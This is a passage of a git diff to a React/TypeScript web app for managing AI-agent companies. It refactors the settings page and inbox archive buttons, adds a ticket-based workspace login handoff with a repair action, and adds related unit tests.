-  { value: "board_only", label: "Board only" },
-  { value: "board_or_agents", label: "Board or agents" },
-];
-
-function toSelectValue(policy: IssueThreadInteractionResolverPolicy | undefined): GovernanceSelectValue {
-  return policy ?? GOVERNANCE_UNSET;
-}
-
-/**
- * Apply a single (kind, field) change to a governance map immutably, pruning
- * empty entries so the persisted object stays sparse (only real overrides).
- */
-function applyGovernanceChange(
-  current: InteractionResolverGovernance,
-  kind: IssueThreadInteractionKind,
-  field: "defaultPolicy" | "cap",
-  value: GovernanceSelectValue,
-): InteractionResolverGovernance {
-  const next: InteractionResolverGovernance = { ...current };
-  const entry = { ...(next[kind] ?? {}) };
-  if (value === GOVERNANCE_UNSET) {
-    delete entry[field];
-  } else {
-    entry[field] = value;
-  }
-  if (entry.defaultPolicy === undefined && entry.cap === undefined) {
-    delete next[kind];
-  } else {
-    next[kind] = entry;
-  }
-  return next;
-}
-function GovernanceSelect({
-  value,
-  onChange,
-  disabled,
-  testId,
-  ariaLabel,
-  mobileLabel,
-}: {
-  value: GovernanceSelectValue;
-  onChange: (value: GovernanceSelectValue) => void;
-  disabled?: boolean;
-  testId?: string;
-  ariaLabel: string;
-  mobileLabel: string;
-}) {
-  return (
-    <div className="min-w-0">
-      {/*
-       * Below `sm` the governance grid collapses to a single column (see the
-       * grid classes on the panel), detaching each select from its column
-       * header. Surface a mobile-only inline label so the control stays
-       * self-describing for sighted users, and always carry `aria-label` for
-       * screen-reader pairing. WCAG 2.1 SC 1.4.10 (Reflow) — design review R2.
-       */}
-      <span className="mb-1 block text-xs font-medium text-muted-foreground uppercase tracking-wide sm:hidden">
-        {mobileLabel}
-      </span>
-      <Select value={value} onValueChange={(v) => onChange(v as GovernanceSelectValue)} disabled={disabled}>
-        <SelectTrigger
-          size="sm"
-          aria-label={ariaLabel}
-          className="w-full min-w-0 text-xs sm:w-(--sz-170px)"
-          data-testid={testId}
-        >
-          <SelectValue />
-        </SelectTrigger>
-        <SelectContent>
-          {GOVERNANCE_POLICY_OPTIONS.map((option) => (
-            <SelectItem key={option.value} value={option.value} className="text-xs">
-              {option.label}
-            </SelectItem>
-          ))}
-        </SelectContent>
-      </Select>
-    </div>
-  );
-}
-
 export function CompanySettings() {
   const {
     companies,
@@ -202,7 +105,7 @@ export function CompanySettings() {
 
   function handleGovernanceChange(
     kind: IssueThreadInteractionKind,
-    field: "defaultPolicy" | "cap",
+    field: GovernanceField,
     value: GovernanceSelectValue,
   ) {
     const next = applyGovernanceChange(governance, kind, field, value);
@@ -292,18 +195,18 @@ export function CompanySettings() {
   }
 
   return (
-    <div className="max-w-2xl space-y-6">
+    <div className="max-w-6xl space-y-8">
       <div className="flex items-center gap-2">
-        <Settings className="h-5 w-5 text-muted-foreground" />
-        <h1 className="text-lg font-semibold">Company Settings</h1>
+        <SlidersHorizontal className="h-5 w-5 text-muted-foreground" />
+        <h1 className="text-lg font-semibold">General</h1>
       </div>
 
       {/* General */}
-      <div className="space-y-4">
+      <div className="max-w-2xl space-y-4">
         <div className="text-xs font-medium text-muted-foreground uppercase tracking-wide">
           General
         </div>
-        <div className="space-y-3 rounded-md border border-border px-4 py-4">
+        <div className="space-y-3">
           <Field label="Company name" hint="The display name for your company.">
             <input
               className="w-full rounded-md border border-border bg-transparent px-2.5 py-1.5 text-sm outline-none"
@@ -328,11 +231,11 @@ export function CompanySettings() {
       </div>
 
       {/* Appearance */}
-      <div className="space-y-4">
+      <div className="max-w-2xl space-y-4">
         <div className="text-xs font-medium text-muted-foreground uppercase tracking-wide">
           Appearance
         </div>
-        <div className="space-y-3 rounded-md border border-border px-4 py-4">
+        <div className="space-y-3">
           <div className="flex items-start gap-4">
             <div className="shrink-0">
               <CompanyPatternIcon
@@ -473,11 +376,11 @@ export function CompanySettings() {
       )}
 
       {/* Hiring */}
-      <div className="space-y-4" data-testid="company-settings-team-section">
+      <div className="max-w-2xl space-y-4" data-testid="company-settings-team-section">
         <div className="text-xs font-medium text-muted-foreground uppercase tracking-wide">
           Hiring
         </div>
-        <div className="rounded-md border border-border px-4 py-3">
+        <div>
           <ToggleField
             label="Require board approval for new hires"
             hint="New agent hires stay pending until approved by board."
@@ -489,103 +392,27 @@ export function CompanySettings() {
       </div>
 
       {/* Interaction governance */}
-      <div className="space-y-4" data-testid="company-settings-interaction-governance-section">
-        <div className="text-xs font-medium text-muted-foreground uppercase tracking-wide">
-          Interaction governance
-        </div>
-        <div className="space-y-4 rounded-md border border-border px-4 py-4">
-          <p className="text-sm text-muted-foreground">
-            Control who may resolve each kind of thread interaction.{" "}
-            <span className="font-medium text-foreground">Default policy</span> is the
-            resolver policy new interactions request;{" "}
-            <span className="font-medium text-foreground">Cap</span> is the maximum a
-            request may reach — set it to{" "}
-            <span className="font-medium text-foreground">Board only</span> to always
-            require the board. Tool-approval confirmations always stay board-only
-            regardless of these settings.
-          </p>
-          {/*
-           * Responsive: below `sm` the row collapses to a single column so the
-           * two 170px selects never force horizontal overflow on a ~390px
-           * viewport (WCAG 2.1 SC 1.4.10 Reflow — design review R2). Each kind
-           * then stacks as: label → Default policy → Cap, each full-width with
-           * its own inline label. At `sm`+ it restores the aligned 3-col grid.
-           */}
-          <div className="grid grid-cols-1 gap-y-4 sm:grid-cols-[1fr_auto_auto] sm:items-center sm:gap-x-4 sm:gap-y-2.5">
-            <div className="hidden text-xs font-medium text-muted-foreground uppercase tracking-wide sm:block">
-              Kind
-            </div>
-            <div className="hidden text-xs font-medium text-muted-foreground uppercase tracking-wide sm:block">
-              Default policy
-            </div>
-            <div className="hidden text-xs font-medium text-muted-foreground uppercase tracking-wide sm:block">
-              Cap
-            </div>
-            {ISSUE_THREAD_INTERACTION_KINDS.map((kind) => {
-              const entry = governance[kind] ?? {};
-              const kindLabel = INTERACTION_KIND_LABELS[kind];
-              return (
-                <Fragment key={kind}>
-                  <div className="text-sm font-medium sm:font-normal">{kindLabel}</div>
-                  <GovernanceSelect
-                    testId={`governance-${kind}-default`}
-                    ariaLabel={`Default resolver policy for ${kindLabel}`}
-                    mobileLabel="Default policy"
-                    value={toSelectValue(entry.defaultPolicy)}
-                    disabled={governanceMutation.isPending}
-                    onChange={(v) => handleGovernanceChange(kind, "defaultPolicy", v)}
-                  />
-                  <GovernanceSelect
-                    testId={`governance-${kind}-cap`}
-                    ariaLabel={`Resolver cap for ${kindLabel}`}
-                    mobileLabel="Cap"
-                    value={toSelectValue(entry.cap)}
-                    disabled={governanceMutation.isPending}
-                    onChange={(v) => handleGovernanceChange(kind, "cap", v)}
-                  />
-                </Fragment>
-              );
-            })}
-          </div>
-          {governanceMutation.isError && (
-            <span className="text-xs text-destructive">
-              {governanceMutation.error instanceof Error
-                ? governanceMutation.error.message
-                : "Failed to save interaction governance"}
-            </span>
-          )}
-        </div>
-      </div>
+      <InteractionGovernancePanel
+        governance={governance}
+        onChange={handleGovernanceChange}
+        isPending={governanceMutation.isPending}
+        errorMessage={
+          governanceMutation.isError
+            ? governanceMutation.error instanceof Error
+              ? governanceMutation.error.message
+              : "Failed to save interaction governance"
+            : null
+        }
+      />
 
-      {/* Import / Export */}
-      <div className="space-y-4">
-        <div className="text-xs font-medium text-muted-foreground uppercase tracking-wide">
-          Company Packages
-        </div>
-        <div className="rounded-md border border-border px-4 py-4">
-          <div className="flex flex-wrap items-center gap-2">
-            <Button size="sm" variant="outline" asChild>
-              <Link to="/company/export">
-                <Download className="mr-1.5 h-3.5 w-3.5" />
-                Export
-              </Link>
-            </Button>
-            <Button size="sm" variant="outline" asChild>
-              <Link to="/company/import">
-                <Upload className="mr-1.5 h-3.5 w-3.5" />
-                Import
-              </Link>
-            </Button>
-          </div>
-        </div>
-      </div>
+      <InstanceGeneralSettings embedded />
 
       {/* Danger Zone */}
       <div className="space-y-4">
         <div className="text-xs font-medium text-destructive uppercase tracking-wide">
           Danger Zone
         </div>
-        <div className="space-y-3 rounded-md border border-destructive/40 bg-destructive/5 px-4 py-4">
+        <div className="space-y-3 bg-destructive/5 px-4 py-4">
           <p className="text-sm text-muted-foreground">
             Archive this company to hide it from the sidebar. This persists in
             the database.
diff --git a/ui/src/pages/CompanySettingsPluginPage.tsx b/ui/src/pages/CompanySettingsPluginPage.tsx
index 77b0eea280c..2ad5ba51934 100644
--- a/ui/src/pages/CompanySettingsPluginPage.tsx
+++ b/ui/src/pages/CompanySettingsPluginPage.tsx
@@ -78,11 +78,13 @@ export function CompanySettingsPluginPage() {
   }
 
   return (
-    <PluginSlotMount
-      slot={pageSlot}
-      context={{ companyId: resolvedCompanyId, companyPrefix }}
-      className="min-h-(--sz-200px)"
-      missingBehavior="placeholder"
-    />
+    <div className="max-w-6xl">
+      <PluginSlotMount
+        slot={pageSlot}
+        context={{ companyId: resolvedCompanyId, companyPrefix }}
+        className="min-h-(--sz-200px)"
+        missingBehavior="placeholder"
+      />
+    </div>
   );
 }
diff --git a/ui/src/pages/ExecutionWorkspaceDetail.provision-status.test.ts b/ui/src/pages/ExecutionWorkspaceDetail.provision-status.test.ts
index 337c7f283ca..d532410b5d3 100644
--- a/ui/src/pages/ExecutionWorkspaceDetail.provision-status.test.ts
+++ b/ui/src/pages/ExecutionWorkspaceDetail.provision-status.test.ts
@@ -9,7 +9,7 @@ function operation(overrides: Partial<WorkspaceOperation> = {}): WorkspaceOperat
     executionWorkspaceId: "ews-1",
     heartbeatRunId: null,
     issueId: null,
-    phase: overrides.phase ?? "workspace_runtime_provision",
+    phase: overrides.phase ?? "workspace_seed",
     command: overrides.command ?? "bash ./scripts/provision-worktree-runtime.sh",
     cwd: null,
     status: overrides.status ?? "succeeded",
@@ -58,6 +58,15 @@ describe("resolveRuntimeProvisionStatus", () => {
     ).toEqual({ kind: "provisioned", at: finishedAt });
   });
 
+  it("continues to recognize custom runtime dependency provisioning", () => {
+    expect(
+      resolveRuntimeProvisionStatus({
+        runtimeProvisionCommand: "pnpm install",
+        operations: [operation({ phase: "workspace_runtime_provision" })],
+      }),
+    ).toMatchObject({ kind: "provisioned" });
+  });
+
   it("reports provisioning while the op is running", () => {
     const startedAt = new Date("2026-08-01T12:00:00.000Z");
     expect(
diff --git a/ui/src/pages/ExecutionWorkspaceDetail.tsx b/ui/src/pages/ExecutionWorkspaceDetail.tsx
index 9fc6cf47bbd..6d4be124fed 100644
--- a/ui/src/pages/ExecutionWorkspaceDetail.tsx
+++ b/ui/src/pages/ExecutionWorkspaceDetail.tsx
@@ -13,6 +13,7 @@ import { CopyText } from "../components/CopyText";
 import { ExecutionWorkspaceCloseDialog } from "../components/ExecutionWorkspaceCloseDialog";
 import { MissingPluginTabPlaceholder } from "../components/MissingPluginTabPlaceholder";
 import { agentsApi } from "../api/agents";
+import { ApiError } from "../api/client";
 import { executionWorkspacesApi } from "../api/execution-workspaces";
 import { heartbeatsApi } from "../api/heartbeats";
 import { issuesApi } from "../api/issues";
@@ -35,12 +36,17 @@ import {
   type WorkspaceRuntimeControlRequest,
 } from "../components/WorkspaceRuntimeControls";
 import { WorkspaceServiceControlBar } from "../components/WorkspaceServiceControlBar";
+import { WorkspaceAccessCard } from "../components/WorkspaceAccessCard";
 import { useBreadcrumbs } from "../context/BreadcrumbContext";
 import { useCompany } from "../context/CompanyContext";
 import { useToastActions } from "../context/ToastContext";
 import { collectLiveIssueIds } from "../lib/liveIssueIds";
 import { queryKeys } from "../lib/queryKeys";
 import { cn, formatDateTime, issueUrl, projectRouteRef, projectWorkspaceUrl } from "../lib/utils";
+import {
+  resolveWorkspaceAccessState,
+  type WorkspaceLoginHandoffFailureInfo,
+} from "../lib/workspace-access-state";
 import {
   getWorkspaceSpecificRoutineVariableNames,
   routineHasWorkspaceSpecificVariables,
@@ -371,6 +377,8 @@ function workspaceOperationPhaseLabel(phase: string) {
       return "Config freshness";
     case "workspace_provision":
       return "Provision";
+    case "workspace_seed":
+      return "Database seed";
     case "workspace_runtime_provision":
       return "Runtime provision";
     case "workspace_teardown":
@@ -393,14 +401,16 @@ export type RuntimeProvisionStatus =
 
 /**
  * Derives the lazy runtime-provisioning state from the configured command and the
- * `workspace_runtime_provision` operation-log entries (most-recent first). Returns
+ * database-seed or runtime-provision operation-log entries (most-recent first). Returns
  * "eager" when no runtime provision command is configured (the legacy path).
  */
 export function resolveRuntimeProvisionStatus(input: {
   runtimeProvisionCommand: string | null | undefined;
   operations: WorkspaceOperation[] | undefined;
 }): RuntimeProvisionStatus {
-  const latest = (input.operations ?? []).find((operation) => operation.phase === "workspace_runtime_provision") ?? null;
+  const latest = (input.operations ?? []).find((operation) => (
+    operation.phase === "workspace_seed" || operation.phase === "workspace_runtime_provision"
+  )) ?? null;
   if (latest) {
     const at = latest.finishedAt ?? latest.startedAt ?? null;
     if (latest.status === "running") return { kind: "provisioning", at };
@@ -412,6 +422,27 @@ export function resolveRuntimeProvisionStatus(input: {
   return configured ? { kind: "deferred" } : { kind: "eager" };
 }
 
+/**
+ * Read the structured refusal the login-handoff endpoint returns.
+ *
+ * The server keeps a machine `reason` (and, where it probed, the workspace's own
+ * readiness) on the error body so the UI can name the cause instead of showing a
+ * bare HTTP failure. Anything else is a genuine transport error.
+ */
+export function readWorkspaceHandoffFailure(error: unknown): WorkspaceLoginHandoffFailureInfo | null {
+  if (!(error instanceof ApiError)) return null;
+  const body = error.body as
+    | { reason?: unknown; detail?: unknown; readiness?: unknown }
+    | null
+    | undefined;
+  if (!body || typeof body.reason !== "string") return null;
+  return {
+    reason: body.reason,
+    detail: typeof body.detail === "string" ? body.detail : null,
+    readiness: (body.readiness as WorkspaceLoginHandoffFailureInfo["readiness"]) ?? null,
+  };
+}
+
 function DetailRow({ label, children }: { label: string; children: React.ReactNode }) {
   return (
     <div className="flex flex-col gap-1.5 py-1.5 sm:flex-row sm:items-start sm:gap-3">
@@ -779,6 +810,8 @@ export function ExecutionWorkspaceDetail() {
   const [errorMessage, setErrorMessage] = useState<string | null>(null);
   const [runtimeActionErrorMessage, setRuntimeActionErrorMessage] = useState<string | null>(null);
   const [runtimeActionMessage, setRuntimeActionMessage] = useState<string | null>(null);
+  const [handoffFailure, setHandoffFailure] = useState<WorkspaceLoginHandoffFailureInfo | null>(null);
+  const [handoffErrorMessage, setHandoffErrorMessage] = useState<string | null>(null);
   const [pendingRuntimeActions, setPendingRuntimeActions] = useState<WorkspaceRuntimeControlRequest[]>([]);
   const activeRouteTab = workspaceId ? resolveExecutionWorkspaceTab(location.pathname, workspaceId) : null;
   const pluginTabFromSearch = useMemo(() => {
@@ -968,6 +1001,67 @@ export function ExecutionWorkspaceDetail() {
     },
   });
 
+  /**
+   * Password-independent workspace entry (PAP-17572).
+   *
+   * The server answers with a ticket-bearing URL, and the workspace answers *that*
+   * with a redirect — which is what keeps the ticket out of session history.
+   *
+   * The target tab is opened synchronously on click and only pointed at the URL
+   * once the ticket arrives. Opening it after the request resolves would be a
+   * popup the browser did not attribute to the click, and Safari and Firefox
+   * block exactly that. If the tab could not be opened anyway, fall back to
+   * navigating this one rather than silently doing nothing.
+   */
+  const openWorkspace = useMutation({
+    mutationFn: async () => {
+      const target = window.open("about:blank", "_blank", "noopener,noreferrer");
+      try {
+        return { ticket: await executionWorkspacesApi.requestLoginHandoff(workspace!.id), target };
+      } catch (error) {
+        target?.close();
+        throw error;
+      }
+    },
+    onSuccess: ({ ticket, target }) => {
+      setHandoffFailure(null);
+      setHandoffErrorMessage(null);
+      if (target && !target.closed) target.location.replace(ticket.url);
+      else window.location.assign(ticket.url);
+    },
+    onError: async (error) => {
+      // A structured refusal is rendered as workspace state by the access card,
+      // so only an unrecognized transport error needs its own message line.
+      const failure = readWorkspaceHandoffFailure(error);
+      setHandoffFailure(failure);
+      setHandoffErrorMessage(
+        failure ? null : error instanceof Error ? error.message : "Failed to open the workspace.",
+      );
+      // The refusal reason often comes from an operation that has since advanced,
+      // so refresh the log the access card derives its state from.
+      await queryClient.invalidateQueries({
+        queryKey: queryKeys.executionWorkspaces.workspaceOperations(workspace!.id),
+      });
+    },
+  });
+  const repairWorkspace = useMutation({
+    mutationFn: () => executionWorkspacesApi.repair(workspace!.id),
+    onSuccess: (result) => {
+      queryClient.setQueryData(queryKeys.executionWorkspaces.detail(result.workspace.id), result.workspace);
+      queryClient.invalidateQueries({
+        queryKey: queryKeys.executionWorkspaces.workspaceOperations(result.workspace.id),
+      });
+      setHandoffFailure(null);
+      setHandoffErrorMessage(null);
+      setRuntimeActionErrorMessage(null);
+      setRuntimeActionMessage("Workspace database repaired.");
+    },
+    onError: (error) => {
+      setRuntimeActionMessage(null);
+      setRuntimeActionErrorMessage(error instanceof Error ? error.message : "Failed to repair the workspace.");
+    },
+  });
+
   if (workspaceQuery.isLoading) return <p className="text-sm text-muted-foreground">Loading workspace…</p>;
   if (workspaceQuery.error) {
     return (
@@ -992,6 +1086,11 @@ export function ExecutionWorkspaceDetail() {
     runtimeServices: workspace.runtimeServices ?? [],
     pendingRequests: pendingRuntimeActions,
   });
+  const workspaceAccess = resolveWorkspaceAccessState({
+    runtimeServices: workspace.runtimeServices ?? [],
+    operations: workspaceOperationsQuery.data,
+    handoffFailure,
+  });
 
   const pluginSlotContext = {
     companyId: workspace.companyId,
@@ -1062,6 +1161,20 @@ export function ExecutionWorkspaceDetail() {
         {runtimeActionErrorMessage ? <p className="text-sm text-destructive">{runtimeActionErrorMessage}</p> : null}
         {!runtimeActionErrorMessage && runtimeActionMessage ? <p className="text-sm text-muted-foreground">{runtimeActionMessage}</p> : null}
 
+        <WorkspaceAccessCard
+          access={workspaceAccess}
+          isBusy={openWorkspace.isPending || repairWorkspace.isPending}
+          onOpen={() => openWorkspace.mutate()}
+          onStart={() => {
+            runRuntimeControlRequests(
+              resolveWorkspaceServiceControlRequests(runtimeControlSections, "start", null),
+            );
+          }}
+          onRepair={() => repairWorkspace.mutate()}
+          onViewLogs={() => handleTabChange("runtime_logs")}
+          errorMessage={handoffErrorMessage}
+        />
+
         <PluginSlotOutlet
           slotTypes={["toolbarButton", "contextMenuItem"]}
           entityType="execution_workspace"
diff --git a/ui/src/pages/Inbox.test.tsx b/ui/src/pages/Inbox.test.tsx
index 4e5cb53bb5f..b7445fa50e0 100644
--- a/ui/src/pages/Inbox.test.tsx
+++ b/ui/src/pages/Inbox.test.tsx
@@ -4,7 +4,7 @@ import type { ComponentProps } from "react";
 import { flushSync } from "react-dom";
 import { createRoot } from "react-dom/client";
 import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
-import type { Issue } from "@paperclipai/shared";
+import type { Approval, HeartbeatRun, Issue } from "@paperclipai/shared";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import type { CompanyJoinRequest } from "../api/access";
 import {
@@ -266,6 +266,73 @@ function createJoinRequest(
   };
 }
 
+function createApproval(overrides: Partial<Approval> = {}): Approval {
+  return {
+    id: "approval-1",
+    companyId: "company-1",
+    type: "hire_agent",
+    requestedByAgentId: null,
+    requestedByUserId: "local-board",
+    status: "pending",
+    payload: { name: "New teammate" },
+    decisionNote: null,
+    decidedByUserId: null,
+    decidedAt: null,
+    createdAt: new Date("2026-03-11T00:00:00.000Z"),
+    updatedAt: new Date("2026-03-11T00:00:00.000Z"),
+    ...overrides,
+  };
+}
+
+function createFailedRun(overrides: Partial<HeartbeatRun> = {}): HeartbeatRun {
+  return {
+    id: "run-1",
+    companyId: "company-1",
+    agentId: "agent-1",
+    responsibleUserId: null,
+    invocationSource: "assignment",
+    triggerDetail: null,
+    status: "failed",
+    error: "boom",
+    wakeupRequestId: null,
+    exitCode: null,
+    signal: null,
+    usageJson: null,
+    resultJson: null,
+    sessionIdBefore: null,
+    sessionIdAfter: null,
+    logStore: null,
+    logRef: null,
+    logBytes: null,
+    logSha256: null,
+    logCompressed: false,
+    stdoutExcerpt: null,
+    stderrExcerpt: null,
+    errorCode: null,
+    externalRunId: null,
+    processPid: null,
+    processGroupId: null,
+    processStartedAt: null,
+    lastOutputAt: null,
+    lastOutputSeq: 0,
+    lastOutputStream: null,
+    lastOutputBytes: null,
+    retryOfRunId: null,
+    processLossRetryCount: 0,
+    livenessState: null,
+    livenessReason: null,
+    continuationAttempt: 0,
+    lastUsefulActionAt: null,
+    nextAction: null,
+    contextSnapshot: null,
+    startedAt: new Date("2026-03-11T00:00:00.000Z"),
+    finishedAt: new Date("2026-03-11T00:01:00.000Z"),
+    createdAt: new Date("2026-03-11T00:00:00.000Z"),
+    updatedAt: new Date("2026-03-11T00:01:00.000Z"),
+    ...overrides,
+  };
+}
+
 function resetInboxApiMocks() {
   for (const mock of Object.values(apiMocks)) mock.mockReset();
   externalObjectMocks.summaries.clear();
@@ -345,6 +412,49 @@ describe("Inbox toolbar", () => {
     act(() => root.unmount());
   });
 
+  it("keeps archive hover actions and swipe targets on every unread non-task Mine row", async () => {
+    routerMock.location.pathname = "/inbox/mine";
+    localStorage.setItem("paperclip:inbox:group-by", "none");
+    apiMocks.approvalsList.mockResolvedValue([createApproval()]);
+    apiMocks.heartbeatRunsList.mockResolvedValue([createFailedRun()]);
+    apiMocks.joinRequestsList.mockResolvedValue([createJoinRequest()]);
+
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false, staleTime: 0, gcTime: 0 } },
+    });
+    const root = createRoot(container);
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <Inbox />
+        </QueryClientProvider>,
+      );
+    });
+    await vi.waitFor(() => {
+      expect(container.textContent).toContain("Hire Agent: New teammate");
+      expect(container.textContent).toContain("Failed run");
+      expect(container.textContent).toContain("Jordan Example");
+    });
+
+    const rowFor = (text: string) =>
+      [...container.querySelectorAll("[data-inbox-item]")]
+        .find((row) => row.textContent?.includes(text));
+
+    for (const text of ["Hire Agent: New teammate", "Failed run", "Jordan Example"]) {
+      const row = rowFor(text);
+      expect(row, `missing inbox row for ${text}`).toBeDefined();
+      expect(row?.querySelector('button[aria-label="Mark as read"]')).not.toBeNull();
+      const archiveButton = row?.querySelector<HTMLButtonElement>('button[aria-label="Archive"]');
+      expect(archiveButton).not.toBeNull();
+      expect(archiveButton?.className).toContain("opacity-0");
+      expect(archiveButton?.className).toContain("group-hover:opacity-100");
+      expect(row?.querySelector("[data-inbox-row-surface]")).not.toBeNull();
+    }
+
+    act(() => root.unmount());
+  });
+
   it("restores folded and unfolded sub-tasks across remounts", async () => {
     routerMock.location.pathname = "/inbox/mine";
     const storageKey = "paperclip:inbox:collapsed-parents:company-1";
@@ -990,51 +1100,7 @@ describe("FailedRunInboxRow", () => {
 
   it("suppresses accent hover styling when selected", () => {
     const root = createRoot(container);
-    const run = {
-      id: "run-1",
-      companyId: "company-1",
-      agentId: "agent-1",
-      responsibleUserId: null,
-      invocationSource: "assignment",
-      triggerDetail: null,
-      status: "failed",
-      error: "boom",
-      wakeupRequestId: null,
-      exitCode: null,
-      signal: null,
-      usageJson: null,
-      resultJson: null,
-      sessionIdBefore: null,
-      sessionIdAfter: null,
-      logStore: null,
-      logRef: null,
-      logBytes: null,
-      logSha256: null,
-      logCompressed: false,
-      lastOutputAt: null,
-      lastOutputSeq: 0,
-      lastOutputStream: null,
-      lastOutputBytes: null,
-      errorCode: null,
-      externalRunId: null,
-      processPid: null,
-      processGroupId: null,
-      processStartedAt: null,
-      retryOfRunId: null,
-      processLossRetryCount: 0,
-      livenessState: null,
-      livenessReason: null,
-      continuationAttempt: 0,
-      lastUsefulActionAt: null,
-      nextAction: null,
-      stdoutExcerpt: null,
-      stderrExcerpt: null,
-      contextSnapshot: null,
-      startedAt: new Date("2026-03-11T00:00:00.000Z"),
-      finishedAt: null,
-      createdAt: new Date("2026-03-11T00:00:00.000Z"),
-      updatedAt: new Date("2026-03-11T00:00:00.000Z"),
-    } as const;
+    const run = createFailedRun();
 
     act(() => {
       root.render(
diff --git a/ui/src/pages/Inbox.tsx b/ui/src/pages/Inbox.tsx
index 4bf93eb0d49..1d2fa37c626 100644
--- a/ui/src/pages/Inbox.tsx
+++ b/ui/src/pages/Inbox.tsx
@@ -79,7 +79,7 @@ import {
   issueTrailingColumns,
 } from "../components/IssueColumns";
 import { IssueFiltersPopover } from "../components/IssueFiltersPopover";
-import { IssueRow } from "../components/IssueRow";
+import { InboxArchiveButton, IssueRow } from "../components/IssueRow";
 import { BlockedInboxView } from "../components/BlockedInboxView";
 import { SwipeToArchive } from "../components/SwipeToArchive";
 
@@ -340,16 +340,6 @@ export function FailedRunInboxRow({
                   unreadState === "fading" ? "opacity-0" : "opacity-100",
                 )} />
               </button>
-            ) : onArchive ? (
-              <button
-                type="button"
-                onClick={onArchive}
-                disabled={archiveDisabled}
-                className="inline-flex h-4 w-4 items-center justify-center rounded-md text-muted-foreground opacity-0 transition-opacity hover:text-foreground group-hover:opacity-100 disabled:pointer-events-none disabled:opacity-30"
-                aria-label="Dismiss from inbox"
-              >
-                <X className="h-3.5 w-3.5" />
-              </button>
             ) : (
               <span className="inline-flex h-4 w-4" aria-hidden="true" />
             )}
@@ -389,6 +379,9 @@ export function FailedRunInboxRow({
           </span>
         </Link>
         <div className="hidden shrink-0 items-center gap-2 sm:flex">
+          {onArchive ? (
+            <InboxArchiveButton onArchive={onArchive} disabled={archiveDisabled} />
+          ) : null}
           <Button
             type="button"
             variant="outline"
@@ -496,16 +489,6 @@ function ApprovalInboxRow({
                   unreadState === "fading" ? "opacity-0" : "opacity-100",
                 )} />
               </button>
-            ) : onArchive ? (
-              <button
-                type="button"
-                onClick={onArchive}
-                disabled={archiveDisabled}
-                className="inline-flex h-4 w-4 items-center justify-center rounded-md text-muted-foreground opacity-0 transition-opacity hover:text-foreground group-hover:opacity-100 disabled:pointer-events-none disabled:opacity-30"
-                aria-label="Dismiss from inbox"
-              >
-                <X className="h-3.5 w-3.5" />
-              </button>
             ) : (
               <span className="inline-flex h-4 w-4" aria-hidden="true" />
             )}
@@ -534,25 +517,32 @@ function ApprovalInboxRow({
             </span>
           </span>
         </Link>
-        {showResolutionButtons ? (
+        {(onArchive || showResolutionButtons) ? (
           <div className="hidden shrink-0 items-center gap-2 sm:flex">
-            <Button
-              size="sm"
-              className="h-8 bg-green-700 px-3 text-white hover:bg-green-600"
-              onClick={onApprove}
-              disabled={isPending}
-            >
-              Approve
-            </Button>
-            <Button
-              variant="destructive"
-              size="sm"
-              className="h-8 px-3"
-              onClick={onReject}
-              disabled={isPending}
-            >
-              Reject
-            </Button>
+            {onArchive ? (
+              <InboxArchiveButton onArchive={onArchive} disabled={archiveDisabled} />
+            ) : null}
+            {showResolutionButtons ? (
+              <>
+                <Button
+                  size="sm"
+                  className="h-8 bg-green-700 px-3 text-white hover:bg-green-600"
+                  onClick={onApprove}
+                  disabled={isPending}
+                >
+                  Approve
+                </Button>
+                <Button
+                  variant="destructive"
+                  size="sm"
+                  className="h-8 px-3"
+                  onClick={onReject}
+                  disabled={isPending}
+                >
+                  Reject
+                </Button>
+              </>
+            ) : null}
           </div>
         ) : null}
       </div>
@@ -632,16 +622,6 @@ function JoinRequestInboxRow({
                   unreadState === "fading" ? "opacity-0" : "opacity-100",
                 )} />
               </button>
-            ) : onArchive ? (
-              <button
-                type="button"
-                onClick={onArchive}
-                disabled={archiveDisabled}
-                className="inline-flex h-4 w-4 items-center justify-center rounded-md text-muted-foreground opacity-0 transition-opacity hover:text-foreground group-hover:opacity-100 disabled:pointer-events-none disabled:opacity-30"
-                aria-label="Dismiss from inbox"
-              >
-                <X className="h-3.5 w-3.5" />
-              </button>
             ) : (
               <span className="inline-flex h-4 w-4" aria-hidden="true" />
             )}
@@ -664,6 +644,9 @@ function JoinRequestInboxRow({
           </span>
         </div>
         <div className="hidden shrink-0 items-center gap-2 sm:flex">
+          {onArchive ? (
+            <InboxArchiveButton onArchive={onArchive} disabled={archiveDisabled} />
+          ) : null}
           <Button
             size="sm"
             className="h-8 bg-green-700 px-3 text-white hover:bg-green-600"
diff --git a/ui/src/pages/InstanceExperimentalSettings.test.tsx b/ui/src/pages/InstanceExperimentalSettings.test.tsx
index 25a717df60d..ad33e394e9f 100644
--- a/ui/src/pages/InstanceExperimentalSettings.test.tsx
+++ b/ui/src/pages/InstanceExperimentalSettings.test.tsx
@@ -99,6 +99,7 @@ function defaultExperimentalSettings(): InstanceExperimentalSettingsPayload {
     enableWorkspaceBranchReconcileForward: true,
     enableWorkspaceDirtyQuarantineRepair: true,
     enableOwnerInstanceAdmin: false,
+    enableSandboxDuplexBridge: false,
     enableWorktreeRunExecution: false,
     worktreeRunExecutionActivatedAt: null,
     worktreeRunExecutionActivationInstanceId: null,
@@ -930,3 +931,55 @@ describe("InstanceExperimentalSettings — card ordering and headings (PAP-393)"
     expect(badges).not.toContain("Experimental");
   });
 });
+
+describe("InstanceExperimentalSettings — operator-hidden cards", () => {
+  let container: HTMLDivElement;
+  let root: Root | null = null;
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    container = document.createElement("div");
+    document.body.appendChild(container);
+  });
+
+  afterEach(() => {
+    flushSync(() => root?.unmount());
+    root = null;
+    queryClient?.clear();
+    container.remove();
+    vi.clearAllMocks();
+  });
+
+  async function renderPage(hiddenSettings?: string[]) {
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue(defaultExperimentalSettings());
+    root = createRoot(container);
+    queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    queryClient.setQueryData(queryKeys.health, {
+      status: "ok",
+      ...(hiddenSettings ? { hiddenSettings } : {}),
+    });
+    flushSync(() => {
+      root!.render(
+        <QueryClientProvider client={queryClient}>
+          <InstanceExperimentalSettings />
+        </QueryClientProvider>,
+      );
+    });
+    await flushReact();
+  }
+
+  it("renders nothing for an operator-hidden toggle and keeps the rest", async () => {
+    await renderPage(["instance.experimental.enableEnvironments"]);
+
+    expect(container.textContent).not.toContain("Enable Environments");
